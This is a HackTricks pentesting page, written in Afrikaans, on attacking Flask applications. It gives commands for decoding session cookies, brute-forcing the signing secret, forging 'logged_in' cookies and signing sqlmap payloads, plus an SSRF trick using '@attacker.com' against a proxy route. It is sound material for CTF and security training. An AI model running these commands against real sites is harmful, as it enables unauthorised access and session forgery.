hacktricks/network-services-pentesting/pentesting-web/flask.md

5.7 KiB

Flask

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Gebruik Trickest om maklik te bou en werkvloei te automate wat deur die wêreld se mees gevorderde gemeenskapstools aangedryf word.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}

Waarskynlik as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met SSTI.

Koekies

Die standaard koekie sessienaam is session.

Dekodeerder

Aanlyn Flask koekies dekodeerder: https://www.kirsle.net/wizards/flask-session.cgi

Handmatig

Kry die eerste deel van die koekie tot by die eerste punt en Base64 dekodeer dit.

echo "ImhlbGxvIg" | base64 -d

Die koekie is ook onderteken met 'n wagwoord

Flask-Unsign

Opdraglyn hulpmiddel om sessiekoekies van 'n Flask-toepassing te verkry, te dekodeer, te brute-force en te vervaardig deur geheime sleutels te raai.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign

Dekodeer Koekie

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Teken

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Ondertekening met behulp van ouer (ouditie) weergawe

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Opdraglyn hulpmiddel om webwerwe te brute-force met behulp van koekies wat met flask-unsign gemaak is.

{% embed url="https://github.com/Tagvi/ripsession" %}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

SQLi in Flask sessie koekie met SQLmap

Hierdie voorbeeld gebruik sqlmap eval opsie om automaties sqlmap payloads vir flask te teken met 'n bekende geheim.

Flask Proxie na SSRF

In hierdie skrywe word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

In watter van die volgende scenario:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Kan toelaat om iets soos "@attacker.com" in te voer om 'n SSRF te veroorsaak.

Gebruik Trickest om maklik te bou en werkvloei te automate wat deur die wêreld se mees gevorderde gemeenskapstools aangedryf word.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}